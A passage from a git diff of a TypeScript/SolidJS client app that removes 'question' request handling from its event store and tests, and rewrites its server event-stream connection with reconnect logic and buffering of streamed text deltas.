expect(store.session_status[item.info.id]).toBeUndefined()
|
||||
}
|
||||
})
|
||||
@@ -325,7 +307,6 @@ describe("applyDirectoryEvent", () => {
|
||||
session_diff: { [dropped.id]: [] },
|
||||
todo: { [dropped.id]: [] },
|
||||
permission: { [dropped.id]: [] },
|
||||
question: { [dropped.id]: [] },
|
||||
session_status: { [dropped.id]: { type: "busy" } },
|
||||
}),
|
||||
)
|
||||
@@ -349,7 +330,6 @@ describe("applyDirectoryEvent", () => {
|
||||
expect(store.session_diff[dropped.id]).toBeUndefined()
|
||||
expect(store.todo[dropped.id]).toBeUndefined()
|
||||
expect(store.permission[dropped.id]).toBeUndefined()
|
||||
expect(store.question[dropped.id]).toBeUndefined()
|
||||
expect(store.session_status[dropped.id]).toBeUndefined()
|
||||
expect(todos).toEqual([dropped.id])
|
||||
})
|
||||
@@ -486,12 +466,11 @@ describe("applyDirectoryEvent", () => {
|
||||
expect(store.part[messageID]).toBeUndefined()
|
||||
})
|
||||
|
||||
test("tracks permission and question request lifecycles", () => {
|
||||
test("tracks permission request lifecycles", () => {
|
||||
const sessionID = "ses_1"
|
||||
const [store, setStore] = createStore(
|
||||
baseState({
|
||||
permission: { [sessionID]: [permissionRequest("perm_1", sessionID), permissionRequest("perm_3", sessionID)] },
|
||||
question: { [sessionID]: [questionRequest("q_1", sessionID), questionRequest("q_3", sessionID)] },
|
||||
}),
|
||||
)
|
||||
|
||||
@@ -524,36 +503,6 @@ describe("applyDirectoryEvent", () => {
|
||||
loadLsp() {},
|
||||
})
|
||||
expect(store.permission[sessionID]?.map((x) => x.id)).toEqual(["perm_1", "perm_3"])
|
||||
|
||||
applyDirectoryEvent({
|
||||
event: { type: "question.asked", properties: questionRequest("q_2", sessionID) },
|
||||
store,
|
||||
setStore,
|
||||
push() {},
|
||||
directory: "/tmp",
|
||||
loadLsp() {},
|
||||
})
|
||||
expect(store.question[sessionID]?.map((x) => x.id)).toEqual(["q_1", "q_2", "q_3"])
|
||||
|
||||
applyDirectoryEvent({
|
||||
event: { type: "question.asked", properties: questionRequest("q_2", sessionID, "updated") },
|
||||
store,
|
||||
setStore,
|
||||
push() {},
|
||||
directory: "/tmp",
|
||||
loadLsp() {},
|
||||
})
|
||||
expect(store.question[sessionID]?.find((x) => x.id === "q_2")?.questions[0]?.header).toBe("updated")
|
||||
|
||||
applyDirectoryEvent({
|
||||
event: { type: "question.rejected", properties: { sessionID, requestID: "q_2" } },
|
||||
store,
|
||||
setStore,
|
||||
push() {},
|
||||
directory: "/tmp",
|
||||
loadLsp() {},
|
||||
})
|
||||
expect(store.question[sessionID]?.map((x) => x.id)).toEqual(["q_1", "q_3"])
|
||||
})
|
||||
|
||||
test("updates vcs branch in store and cache", () => {
|
||||
|
||||
@@ -5,7 +5,6 @@ import type { Message, Part, Project, Todo } from "@/types"
|
||||
import type {
|
||||
FileDiffInfo,
|
||||
PermissionRequest,
|
||||
QuestionRequest,
|
||||
SessionInfo,
|
||||
SessionStatus,
|
||||
} from "@opencode-ai/client/promise"
|
||||
@@ -27,9 +26,6 @@ const SESSION_CONTENT_EVENTS = new Set([
|
||||
"message.part.delta",
|
||||
"permission.asked",
|
||||
"permission.replied",
|
||||
"question.asked",
|
||||
"question.replied",
|
||||
"question.rejected",
|
||||
])
|
||||
|
||||
export function applyGlobalEvent(input: {
|
||||
@@ -86,7 +82,6 @@ export function cleanupDroppedSessionCaches(
|
||||
...Object.keys(store.session_diff),
|
||||
...Object.keys(store.todo),
|
||||
...Object.keys(store.permission),
|
||||
...Object.keys(store.question),
|
||||
...Object.keys(store.session_status),
|
||||
...Object.values(store.part)
|
||||
.map((parts) => parts?.find((part) => !!part?.sessionID)?.sessionID)
|
||||
@@ -438,43 +433,6 @@ export function applyDirectoryEvent(input: {
|
||||
)
|
||||
break
|
||||
}
|
||||
case "question.asked": {
|
||||
const question = event.properties as QuestionRequest
|
||||
const questions = input.store.question[question.sessionID]
|
||||
if (!questions) {
|
||||
input.setStore("question", question.sessionID, [question])
|
||||
break
|
||||
}
|
||||
const result = Binary.search(questions, question.id, (q) => q.id)
|
||||
if (result.found) {
|
||||
input.setStore("question", question.sessionID, result.index, reconcile(question))
|
||||
break
|
||||
}
|
||||
input.setStore(
|
||||
"question",
|
||||
question.sessionID,
|
||||
produce((draft) => {
|
||||
draft.splice(result.index, 0, question)
|
||||
}),
|
||||
)
|
||||
break
|
||||
}
|
||||
case "question.replied":
|
||||
case "question.rejected": {
|
||||
const props = event.properties as { sessionID: string; requestID: string }
|
||||
const questions = input.store.question[props.sessionID]
|
||||
if (!questions) break
|
||||
const result = Binary.search(questions, props.requestID, (q) => q.id)
|
||||
if (!result.found) break
|
||||
input.setStore(
|
||||
"question",
|
||||
props.sessionID,
|
||||
produce((draft) => {
|
||||
draft.splice(result.index, 1)
|
||||
}),
|
||||
)
|
||||
break
|
||||
}
|
||||
case "lsp.updated": {
|
||||
input.loadLsp()
|
||||
break
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import type { Message, Part, Todo } from "@/types"
|
||||
import type { FormInfo, PermissionRequest, QuestionRequest, SessionStatus } from "@opencode-ai/client/promise"
|
||||
import type { FormInfo, PermissionRequest, SessionStatus } from "@opencode-ai/client/promise"
|
||||
import type { FileDiffInfo } from "@opencode-ai/client/promise"
|
||||
import { dropSessionCaches, pickSessionCacheEvictions } from "./session-cache"
|
||||
|
||||
@@ -33,7 +33,6 @@ describe("app session cache", () => {
|
||||
session_message: Record<string, never[] | undefined>
|
||||
part: Record<string, Part[] | undefined>
|
||||
permission: Record<string, PermissionRequest[] | undefined>
|
||||
question: Record<string, QuestionRequest[] | undefined>
|
||||
form: Record<string, FormInfo[] | undefined>
|
||||
part_text_accum_delta: Record<string, string | undefined>
|
||||
} = {
|
||||
@@ -44,7 +43,6 @@ describe("app session cache", () => {
|
||||
session_message: {},
|
||||
part: { msg_1: [part("prt_1", "ses_1", "msg_1")] },
|
||||
permission: { ses_1: [] as PermissionRequest[] },
|
||||
question: { ses_1: [] as QuestionRequest[] },
|
||||
form: { ses_1: [] as FormInfo[] },
|
||||
part_text_accum_delta: { prt_1: "streamed text" },
|
||||
}
|
||||
@@ -58,7 +56,6 @@ describe("app session cache", () => {
|
||||
expect(store.session_diff.ses_1).toBeUndefined()
|
||||
expect(store.session_status.ses_1).toBeUndefined()
|
||||
expect(store.permission.ses_1).toBeUndefined()
|
||||
expect(store.question.ses_1).toBeUndefined()
|
||||
expect(store.form.ses_1).toBeUndefined()
|
||||
})
|
||||
|
||||
@@ -72,7 +69,6 @@ describe("app session cache", () => {
|
||||
session_message: Record<string, never[] | undefined>
|
||||
part: Record<string, Part[] | undefined>
|
||||
permission: Record<string, PermissionRequest[] | undefined>
|
||||
question: Record<string, QuestionRequest[] | undefined>
|
||||
form: Record<string, FormInfo[] | undefined>
|
||||
part_text_accum_delta: Record<string, string | undefined>
|
||||
} = {
|
||||
@@ -83,7 +79,6 @@ describe("app session cache", () => {
|
||||
session_message: {},
|
||||
part: { [m.id]: [part("prt_1", "ses_1", m.id)] },
|
||||
permission: {},
|
||||
question: {},
|
||||
form: {},
|
||||
part_text_accum_delta: {},
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import type { Message, Part, Todo } from "@/types"
|
||||
import type { FormInfo, PermissionRequest, QuestionRequest, SessionStatus } from "@opencode-ai/client/promise"
|
||||
import type { FormInfo, PermissionRequest, SessionStatus } from "@opencode-ai/client/promise"
|
||||
import type { FileDiffInfo } from "@opencode-ai/client/promise"
|
||||
import type { SessionMessageInfo } from "@opencode-ai/client/promise"
|
||||
|
||||
@@ -13,7 +13,6 @@ type SessionCache = {
|
||||
session_message: Record<string, SessionMessageInfo[] | undefined>
|
||||
part: Record<string, Part[] | undefined>
|
||||
permission: Record<string, PermissionRequest[] | undefined>
|
||||
question: Record<string, QuestionRequest[] | undefined>
|
||||
form?: Record<string, FormInfo[] | undefined>
|
||||
part_text_accum_delta: Record<string, string | undefined>
|
||||
}
|
||||
@@ -38,7 +37,6 @@ export function dropSessionCaches(store: SessionCache, sessionIDs: Iterable<stri
|
||||
delete store.session_diff[sessionID]
|
||||
delete store.session_status[sessionID]
|
||||
delete store.permission[sessionID]
|
||||
delete store.question[sessionID]
|
||||
if (store.form) delete store.form[sessionID]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,7 +2,6 @@ import type { Agent, Config, LspStatus, Message, Part, Path, Todo, VcsInfo } fro
|
||||
import type {
|
||||
FileDiffInfo,
|
||||
PermissionRequest,
|
||||
QuestionRequest,
|
||||
ReferenceInfo,
|
||||
SessionInfo,
|
||||
SessionStatus,
|
||||
@@ -50,9 +49,6 @@ export type State = {
|
||||
permission: {
|
||||
[sessionID: string]: PermissionRequest[]
|
||||
}
|
||||
question: {
|
||||
[sessionID: string]: QuestionRequest[]
|
||||
}
|
||||
mcp_ready: boolean
|
||||
mcp: {
|
||||
[name: string]: McpServer["status"]
|
||||
|
||||
@@ -7,7 +7,6 @@ import { useServerHealth } from "@/utils/server-health"
|
||||
import { createServerSdkContext } from "./server-sdk"
|
||||
import { createServerSyncContext } from "./server-sync"
|
||||
import { getOwner } from "solid-js/web"
|
||||
import { createServerData } from "@opencode-ai/client/solid"
|
||||
import type { ServerScope } from "@/utils/server-scope"
|
||||
import { createServerPermissionState } from "./permission"
|
||||
import { createServerNotificationState } from "./notification"
|
||||
@@ -103,12 +102,6 @@ function createServerController(
|
||||
const sync = createServerSyncContext(sdk)
|
||||
const permission = createServerPermissionState({ sdk, sync })
|
||||
const notification = createServerNotificationState({ sdk, sync, key: connKey })
|
||||
const data = createServerData({
|
||||
api: () => sdk.api,
|
||||
event: sdk.event,
|
||||
connection: sdk.connection,
|
||||
directory: "",
|
||||
})
|
||||
|
||||
function enrich(project: { worktree: string; expanded: boolean }) {
|
||||
const [childStore] = sync.child(project.worktree, { bootstrap: false })
|
||||
@@ -141,7 +134,6 @@ function createServerController(
|
||||
(conn?.type === "sidecar" && conn.variant === "base") || (conn?.type === "http" && isLocalHost(conn.http.url))
|
||||
|
||||
return {
|
||||
data,
|
||||
sdk,
|
||||
sync,
|
||||
isLocal,
|
||||
|
||||
@@ -278,7 +278,7 @@ export function createServerNotificationState(input: { sdk: ServerSDK; sync: Ser
|
||||
})
|
||||
}
|
||||
|
||||
const unsub = input.sdk.eventByDir.listen((e) => {
|
||||
const unsub = input.sdk.event.listen((e) => {
|
||||
const event = e.details
|
||||
if (
|
||||
event.type !== "session.execution.succeeded" &&
|
||||
|
||||
@@ -52,7 +52,7 @@ function hasPermissionPromptRules(permission: unknown) {
|
||||
return Object.values(config).some(isNonAllowRule)
|
||||
}
|
||||
|
||||
type PermissionEvent = Parameters<Parameters<ServerSDK["eventByDir"]["listen"]>[0]>[0]
|
||||
type PermissionEvent = Parameters<Parameters<ServerSDK["event"]["listen"]>[0]>[0]
|
||||
|
||||
export function createServerPermissionState(input: { sdk: ServerSDK; sync: ServerSync }) {
|
||||
const [store, setStore, _, ready] = persisted(
|
||||
@@ -197,7 +197,7 @@ export function createServerPermissionState(input: { sdk: ServerSDK; sync: Serve
|
||||
void respondPending(event.properties, e.name)
|
||||
}
|
||||
|
||||
const unsubscribe = input.sdk.eventByDir.listen((event) => {
|
||||
const unsubscribe = input.sdk.event.listen((event) => {
|
||||
if (ready()) {
|
||||
handlePermission(event)
|
||||
return
|
||||
|
||||
@@ -1,6 +1,18 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import type { OpenCodeEvent } from "@opencode-ai/client/promise"
|
||||
import { adaptServerEvent } from "./server-sdk"
|
||||
import { adaptServerEvent, coalesceServerEvents, enqueueServerEvent, resumeStreamAfterPageShow } from "./server-sdk"
|
||||
|
||||
describe("resumeStreamAfterPageShow", () => {
|
||||
test("restarts a stream only after a back-forward cache restore", () => {
|
||||
let starts = 0
|
||||
const start = () => starts++
|
||||
|
||||
resumeStreamAfterPageShow({ persisted: false } as PageTransitionEvent, start)
|
||||
resumeStreamAfterPageShow({ persisted: true } as PageTransitionEvent, start)
|
||||
|
||||
expect(starts).toBe(1)
|
||||
})
|
||||
})
|
||||
|
||||
describe("adaptServerEvent", () => {
|
||||
test("preserves current permission requests", () => {
|
||||
@@ -31,3 +43,57 @@ describe("adaptServerEvent", () => {
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe("current event buffering", () => {
|
||||
const delta = (id: string, value: string, ordinal = 0) => ({
|
||||
directory: "/repo",
|
||||
payload: adaptServerEvent({
|
||||
id,
|
||||
created: 1,
|
||||
type: "session.text.delta",
|
||||
location: { directory: "/repo" },
|
||||
data: { sessionID: "ses", assistantMessageID: "msg", ordinal, delta: value },
|
||||
} as OpenCodeEvent),
|
||||
})
|
||||
|
||||
test("merges adjacent text deltas for the same message and ordinal", () => {
|
||||
const result = coalesceServerEvents([delta("evt_1", "hello "), delta("evt_2", "world")])
|
||||
|
||||
expect(result).toHaveLength(1)
|
||||
expect(result[0]?.payload.current).toMatchObject({ id: "evt_2", data: { delta: "hello world" } })
|
||||
expect(result[0]?.payload.properties).toMatchObject({ delta: "hello world" })
|
||||
})
|
||||
|
||||
test("coalesces current tool input deltas by tool ID", () => {
|
||||
const current = (eventID: string, id: string, delta: string) =>
|
||||
adaptServerEvent({
|
||||
id: eventID,
|
||||
created: 1,
|
||||
type: "session.tool.input.delta",
|
||||
location: { directory: "/repo" },
|
||||
data: { sessionID: "ses", assistantMessageID: "msg", id, delta },
|
||||
} as OpenCodeEvent)
|
||||
const result = coalesceServerEvents([
|
||||
{ directory: "/repo", payload: current("evt_1", "call_1", "{") },
|
||||
{ directory: "/repo", payload: current("evt_2", "call_1", "}") },
|
||||
{ directory: "/repo", payload: current("evt_3", "call_2", "[]") },
|
||||
])
|
||||
|
||||
expect(result).toHaveLength(2)
|
||||
expect(result[0]?.payload.current).toMatchObject({ id: "evt_2", data: { id: "call_1", delta: "{}" } })
|
||||
expect(result[1]?.payload.current).toMatchObject({ id: "evt_3", data: { id: "call_2", delta: "[]" } })
|
||||
})
|
||||
|
||||
test("preserves boundaries between distinct delta streams", () => {
|
||||
const events = [delta("evt_1", "a"), delta("evt_2", "b", 1), delta("evt_3", "c")]
|
||||
|
||||
expect(coalesceServerEvents(events).map((event) => event.payload.current?.id)).toEqual(["evt_1", "evt_2", "evt_3"])
|
||||
})
|
||||
|
||||
test("preserves current event order when enqueuing", () => {
|
||||
const events: Parameters<typeof enqueueServerEvent>[0] = []
|
||||
;[delta("evt_1", "a"), delta("evt_2", "b", 1)].forEach((event) => enqueueServerEvent(events, event))
|
||||
|
||||
expect(events.map((event) => event.payload.current?.id)).toEqual(["evt_1", "evt_2"])
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import type { OpenCodeEvent } from "@opencode-ai/client/promise"
|
||||
import { createClientConnection, type ClientConnectionStatus } from "@opencode-ai/client/solid"
|
||||
import type { Event } from "@/types"
|
||||
import { createGlobalEmitter } from "@solid-primitives/event-bus"
|
||||
import { type Accessor, onCleanup } from "solid-js"
|
||||
import { makeEventListener } from "@solid-primitives/event-listener"
|
||||
import { type Accessor, batch, onCleanup, onMount } from "solid-js"
|
||||
import { createStore } from "solid-js/store"
|
||||
import { createApiForServer, type ServerApi } from "@/utils/server"
|
||||
import { usePlatform } from "./platform"
|
||||
import { ServerConnection } from "./servers"
|
||||
@@ -11,15 +12,85 @@ import { ServerScope } from "@/utils/server-scope"
|
||||
import { useServer } from "./server"
|
||||
|
||||
export type ServerEvent = Event & { id?: string; current?: OpenCodeEvent }
|
||||
type QueuedServerEvent = { directory: string; payload: ServerEvent }
|
||||
type CurrentDelta = Extract<
|
||||
OpenCodeEvent,
|
||||
{ type: "session.text.delta" | "session.reasoning.delta" | "session.tool.input.delta" | "session.compaction.delta" }
|
||||
>
|
||||
|
||||
export function adaptServerEvent(event: OpenCodeEvent): ServerEvent {
|
||||
return { id: event.id, type: event.type, properties: event.data, current: event } as ServerEvent
|
||||
}
|
||||
|
||||
export function enqueueServerEvent(queue: QueuedServerEvent[], event: QueuedServerEvent) {
|
||||
queue.push(event)
|
||||
return true
|
||||
}
|
||||
|
||||
export function coalesceServerEvents(events: QueuedServerEvent[]) {
|
||||
const output: QueuedServerEvent[] = []
|
||||
events.forEach((event) => {
|
||||
const current = currentDelta(event.payload.current)
|
||||
if (current) {
|
||||
const previous = output[output.length - 1]
|
||||
const prior = currentDelta(previous?.payload.current)
|
||||
if (
|
||||
previous &&
|
||||
prior &&
|
||||
previous.directory === event.directory &&
|
||||
currentDeltaKey(prior) === currentDeltaKey(current)
|
||||
) {
|
||||
const fragment = currentDeltaFragment(prior) + currentDeltaFragment(current)
|
||||
const data =
|
||||
current.type === "session.compaction.delta"
|
||||
? { ...current.data, text: fragment }
|
||||
: { ...current.data, delta: fragment }
|
||||
output[output.length - 1] = {
|
||||
directory: event.directory,
|
||||
payload: {
|
||||
...event.payload,
|
||||
properties: data,
|
||||
current: { ...current, data } as CurrentDelta,
|
||||
} as ServerEvent,
|
||||
}
|
||||
return
|
||||
}
|
||||
output.push(event)
|
||||
return
|
||||
}
|
||||
output.push(event)
|
||||
})
|
||||
return output
|
||||
}
|
||||
|
||||
function currentDelta(event: OpenCodeEvent | undefined): CurrentDelta | undefined {
|
||||
if (
|
||||
event?.type === "session.text.delta" ||
|
||||
event?.type === "session.reasoning.delta" ||
|
||||
event?.type === "session.tool.input.delta" ||
|
||||
event?.type === "session.compaction.delta"
|
||||
)
|
||||
return event
|
||||
}
|
||||
|
||||
function currentDeltaKey(event: CurrentDelta) {
|
||||
if (event.type === "session.tool.input.delta")
|
||||
return `${event.type}:${event.data.sessionID}:${event.data.assistantMessageID}:${event.data.id}`
|
||||
if (event.type === "session.compaction.delta") return `${event.type}:${event.data.sessionID}`
|
||||
return `${event.type}:${event.data.sessionID}:${event.data.assistantMessageID}:${event.data.ordinal}`
|
||||
}
|
||||
|
||||
function currentDeltaFragment(event: CurrentDelta) {
|
||||
return event.type === "session.compaction.delta" ? event.data.text : event.data.delta
|
||||
}
|
||||
|
||||
export function resumeStreamAfterPageShow(event: PageTransitionEvent, start: () => unknown) {
|
||||
if (!event.persisted) return
|
||||
start()
|
||||
}
|
||||
|
||||
type ServerEventEmitter = ReturnType<typeof createGlobalEmitter<{ [key: string]: ServerEvent }>>
|
||||
type CurrentEventMap = { [Type in OpenCodeEvent["type"]]: Extract<OpenCodeEvent, { type: Type }> }
|
||||
type CurrentEventEmitter = ReturnType<typeof createGlobalEmitter<CurrentEventMap>>
|
||||
export type ServerConnectionStatus = ClientConnectionStatus
|
||||
export type ServerConnectionStatus = "connecting" | "connected" | "reconnecting"
|
||||
type ServerSDKBase = {
|
||||
server: ServerConnection.Any
|
||||
scope: ServerScope
|
||||
@@ -30,51 +101,231 @@ type ServerSDKBase = {
|
||||
attempt: Accessor<number>
|
||||
error: Accessor<string | undefined>
|
||||
}
|
||||
eventByDir: {
|
||||
event: {
|
||||
on: ServerEventEmitter["on"]
|
||||
listen: ServerEventEmitter["listen"]
|
||||
}
|
||||
event: {
|
||||
on: CurrentEventEmitter["on"]
|
||||
listen: CurrentEventEmitter["listen"]
|
||||
}
|
||||
}
|
||||
|
||||
function createServerSdkContextBase(server: ServerConnection.Any, scope: ServerScope): ServerSDKBase {
|
||||
const platform = usePlatform()
|
||||
const api = createApiForServer({ server: server.http, fetch: platform.fetch })
|
||||
const dirEmitter = createGlobalEmitter<{ [key: string]: ServerEvent }>()
|
||||
const emitter = createGlobalEmitter<CurrentEventMap>()
|
||||
const abort = new AbortController()
|
||||
|
||||
const connection = createClientConnection(api, {
|
||||
flushInterval: 16,
|
||||
pageLifecycle: true,
|
||||
onEvent(event) {
|
||||
emitter.emit(event.type, event)
|
||||
dirEmitter.emit(event.location?.directory ?? "global", adaptServerEvent(event))
|
||||
},
|
||||
log: {
|
||||
info(message, data) {
|
||||
if (message !== "event stream disconnected") return
|
||||
console.info("[global-sdk] event stream disconnected", { url: server.http.url, ...data })
|
||||
},
|
||||
},
|
||||
const eventFetch = (() => {
|
||||
if (!platform.fetch || !server) return
|
||||
try {
|
||||
const url = new URL(server.http.url)
|
||||
const loopback = url.hostname === "localhost" || url.hostname === "127.0.0.1" || url.hostname === "::1"
|
||||
if (url.protocol === "http:" && !loopback) return platform.fetch
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
})()
|
||||
|
||||
const eventApi = createApiForServer({ server: server.http, fetch: eventFetch })
|
||||
const emitter = createGlobalEmitter<{
|
||||
[key: string]: ServerEvent
|
||||
}>()
|
||||
|
||||
type Queued = QueuedServerEvent
|
||||
const FLUSH_FRAME_MS = 16
|
||||
const STREAM_YIELD_MS = 8
|
||||
const CONNECT_TIMEOUT_MS = 2_000
|
||||
const RECONNECT_DELAY_MS = 1_000
|
||||
|
||||
let queue: Queued[] = []
|
||||
let buffer: Queued[] = []
|
||||
let timer: ReturnType<typeof setTimeout> | undefined
|
||||
let last = 0
|
||||
|
||||
function flush() {
|
||||
if (timer) clearTimeout(timer)
|
||||
timer = undefined
|
||||
|
||||
if (queue.length === 0) return
|
||||
|
||||
const events = queue
|
||||
queue = buffer
|
||||
buffer = events
|
||||
queue.length = 0
|
||||
|
||||
last = Date.now()
|
||||
const output = coalesceServerEvents(events)
|
||||
batch(() => {
|
||||
output.forEach((event) => emitter.emit(event.directory, event.payload))
|
||||
})
|
||||
|
||||
buffer.length = 0
|
||||
}
|
||||
|
||||
function schedule() {
|
||||
if (timer) return
|
||||
const elapsed = Date.now() - last
|
||||
timer = setTimeout(flush, Math.max(0, FLUSH_FRAME_MS - elapsed))
|
||||
}
|
||||
|
||||
function publish(event: OpenCodeEvent) {
|
||||
const directory = event.location?.directory ?? "global"
|
||||
if (enqueueServerEvent(queue, { directory, payload: adaptServerEvent(event) })) schedule()
|
||||
}
|
||||
|
||||
function wait(delay: number, signal: AbortSignal) {
|
||||
return new Promise<void>((resolve) => {
|
||||
const timer = setTimeout(done, delay)
|
||||
signal.addEventListener("abort", done, { once: true })
|
||||
function done() {
|
||||
clearTimeout(timer)
|
||||
signal.removeEventListener("abort", done)
|
||||
resolve()
|
||||
}
|
||||
})
|
||||
}
|
||||
let attempt: AbortController | undefined
|
||||
let run: Promise<void> | undefined
|
||||
let started = false
|
||||
let generation = 0
|
||||
const [connection, setConnection] = createStore<{
|
||||
status: ServerConnectionStatus
|
||||
attempt: number
|
||||
error?: string
|
||||
}>({ status: "connecting", attempt: 0 })
|
||||
|
||||
async function connect(signal: AbortSignal): Promise<{ error: unknown; connectedAt: number | undefined }> {
|
||||
let connectedAt: number | undefined
|
||||
|
||||
// Bound the initial handshake and tie this request to the stream lifetime.
|
||||
const request = new AbortController()
|
||||
const cancel = () => request.abort(signal.reason)
|
||||
const timeout = setTimeout(() => request.abort(new Error("Timed out connecting to server")), CONNECT_TIMEOUT_MS)
|
||||
signal.addEventListener("abort", cancel, { once: true })
|
||||
|
||||
try {
|
||||
// Open the event stream and validate its initial handshake.
|
||||
const iterator = eventApi.event.subscribe({ signal: request.signal })[Symbol.asyncIterator]()
|
||||
const first = await iterator.next()
|
||||
|
||||
if (signal.aborted) return { error: undefined, connectedAt }
|
||||
if (first.done) {
|
||||
const error =
|
||||
request.signal.reason instanceof Error ? request.signal.reason : new Error("Event stream disconnected")
|
||||
return { error, connectedAt }
|
||||
}
|
||||
if (first.value.type !== "server.connected")
|
||||
return { error: new Error("Event stream did not start with server.connected"), connectedAt }
|
||||
|
||||
// Publish the connected state before forwarding live events.
|
||||
clearTimeout(timeout)
|
||||
publish(first.value)
|
||||
connectedAt = Date.now()
|
||||
setConnection({ status: "connected", attempt: 0, error: undefined })
|
||||
|
||||
// Forward events until the stream closes or this connection is cancelled.
|
||||
let yielded = Date.now()
|
||||
while (!signal.aborted) {
|
||||
const event = await iterator.next()
|
||||
if (signal.aborted) return { error: undefined, connectedAt }
|
||||
if (event.done) return { error: new Error("Event stream disconnected"), connectedAt }
|
||||
publish(event.value)
|
||||
if (Date.now() - yielded < STREAM_YIELD_MS) continue
|
||||
yielded = Date.now()
|
||||
await wait(0, signal)
|
||||
}
|
||||
return { error: undefined, connectedAt }
|
||||
} catch (error) {
|
||||
return { error, connectedAt }
|
||||
} finally {
|
||||
request.abort()
|
||||
clearTimeout(timeout)
|
||||
signal.removeEventListener("abort", cancel)
|
||||
}
|
||||
}
|
||||
|
||||
async function runStream(active: number) {
|
||||
let retries = 0
|
||||
// oxlint-disable-next-line no-unmodified-loop-condition -- stop() changes the lifecycle flags and aborts the active request
|
||||
while (!abort.signal.aborted && started && generation === active) {
|
||||
setConnection({ status: retries === 0 ? "connecting" : "reconnecting", attempt: retries, error: undefined })
|
||||
const controller = new AbortController()
|
||||
attempt = controller
|
||||
const onAbort = () => controller.abort()
|
||||
abort.signal.addEventListener("abort", onAbort)
|
||||
const result = await connect(controller.signal)
|
||||
abort.signal.removeEventListener("abort", onAbort)
|
||||
|
||||
if (abort.signal.aborted || !started || generation !== active) {
|
||||
if (attempt === controller) attempt = undefined
|
||||
return
|
||||
}
|
||||
if (result.connectedAt !== undefined && Date.now() - result.connectedAt >= 1_000) retries = 0
|
||||
retries += 1
|
||||
const message =
|
||||
result.error === undefined
|
||||
? undefined
|
||||
: result.error instanceof Error
|
||||
? result.error.message
|
||||
: String(result.error)
|
||||
console.info("[global-sdk] event stream disconnected", {
|
||||
url: server.http.url,
|
||||
fetch: eventFetch ? "platform" : "webview",
|
||||
attempt: retries,
|
||||
error: message,
|
||||
})
|
||||
setConnection({ status: "reconnecting", attempt: retries, error: message })
|
||||
await wait(RECONNECT_DELAY_MS, controller.signal)
|
||||
if (attempt === controller) attempt = undefined
|
||||
}
|
||||
}
|
||||
|
||||
function start() {
|
||||
if (started) return run
|
||||
started = true
|
||||
const active = ++generation
|
||||
const previous = run
|
||||
const current = (async () => {
|
||||
if (previous) await previous
|
||||
await runStream(active)
|
||||
})().finally(() => {
|
||||
if (run !== current) return
|
||||
run = undefined
|
||||
flush()
|
||||
})
|
||||
run = current
|
||||
return run
|
||||
}
|
||||
|
||||
function stop() {
|
||||
started = false
|
||||
generation++
|
||||
attempt?.abort()
|
||||
}
|
||||
|
||||
onMount(() => {
|
||||
makeEventListener(window, "pagehide", stop)
|
||||
makeEventListener(window, "pageshow", (event) => resumeStreamAfterPageShow(event, start))
|
||||
void start()
|
||||
})
|
||||
|
||||
onCleanup(() => {
|
||||
dirEmitter.clear()
|
||||
stop()
|
||||
abort.abort()
|
||||
if (timer) clearTimeout(timer)
|
||||
timer = undefined
|
||||
queue = []
|
||||
buffer = []
|
||||
emitter.clear()
|
||||
})
|
||||
|
||||
const api = createApiForServer({ server: server.http, fetch: platform.fetch })
|
||||
|
||||
return {
|
||||
server,
|
||||
scope,
|
||||
url: server.http.url,
|
||||
api,
|
||||
connection,
|
||||
eventByDir: {
|
||||
on: dirEmitter.on.bind(dirEmitter),
|
||||
listen: dirEmitter.listen.bind(dirEmitter),
|
||||
connection: {
|
||||
status: () => connection.status,
|
||||
attempt: () => connection.attempt,
|
||||
error: () => connection.error,
|
||||
},
|
||||
event: {
|
||||
on: emitter.on.bind(emitter),
|
||||
@@ -114,7 +365,7 @@ export type DirectorySDK = {
|
||||
function createDirSdkContext(directory: string, serverSDK: ServerSDKBase): DirectorySDK {
|
||||
const emitter = createGlobalEmitter<SDKEventMap>()
|
||||
|
||||
const unsub = serverSDK.eventByDir.on(directory, (event) => {
|
||||
const unsub = serverSDK.event.on(directory, (event) => {
|
||||
emitter.emit(event.type, event)
|
||||
})
|
||||
onCleanup(unsub)
|
||||
|
||||
@@ -10,7 +10,7 @@ import type {
|
||||
SessionMessageInfo,
|
||||
} from "@opencode-ai/client/promise"
|
||||
import type { Message, Part, Todo } from "@/types"
|
||||
import type { FileDiffInfo, PermissionRequest, QuestionRequest, SessionStatus } from "@opencode-ai/client/promise"
|
||||
import type { FileDiffInfo, PermissionRequest, SessionStatus } from "@opencode-ai/client/promise"
|
||||
import { batch } from "solid-js"
|
||||
import { createStore, produce, reconcile } from "solid-js/store"
|
||||
import { rootSession } from "@/utils/session-route"
|
||||
@@ -198,7 +198,6 @@ export function createServerSession(
|
||||
session_diff: {} as Record<string, FileDiffInfo[]>,
|
||||
todo: {} as Record<string, Todo[]>,
|
||||
permission: {} as Record<string, PermissionRequest[]>,
|
||||
question: {} as Record<string, QuestionRequest[]>,
|
||||
form: {} as Record<string, FormInfo[]>,
|
||||
pending: {} as Record<string, SessionInboxInfo[]>,
|
||||
input: {} as Record<string, string[]>,
|
||||
@@ -281,9 +280,6 @@ export function createServerSession(
|
||||
...Object.entries(data.permission)
|
||||
.filter(([, items]) => items.length > 0)
|
||||
.map(([sessionID]) => sessionID),
|
||||
...Object.entries(data.question)
|
||||
.filter(([, items]) => items.length > 0)
|
||||
.map(([sessionID]) => sessionID),
|
||||
...Object.entries(data.form)
|
||||
.filter(([, items]) => items.length > 0)
|
||||
.map(([sessionID]) => sessionID),
|
||||
@@ -529,9 +525,6 @@ export function createServerSession(
|
||||
...Object.entries(data.permission)
|
||||
.filter(([, items]) => items.length > 0)
|
||||
.map(([sessionID]) => sessionID),
|
||||
...Object.entries(data.question)
|
||||
.filter(([, items]) => items.length > 0)
|
||||
.map(([sessionID]) => sessionID),
|
||||
...Object.entries(data.form)
|
||||
.filter(([, items]) => items.length > 0)
|
||||
.map(([sessionID]) => sessionID),
|
||||
@@ -1339,36 +1332,6 @@ export function createServerSession(
|
||||
)
|
||||
return
|
||||
}
|
||||
case "question.asked": {
|
||||
const question = event.properties as QuestionRequest
|
||||
const questions = data.question[question.sessionID]
|
||||
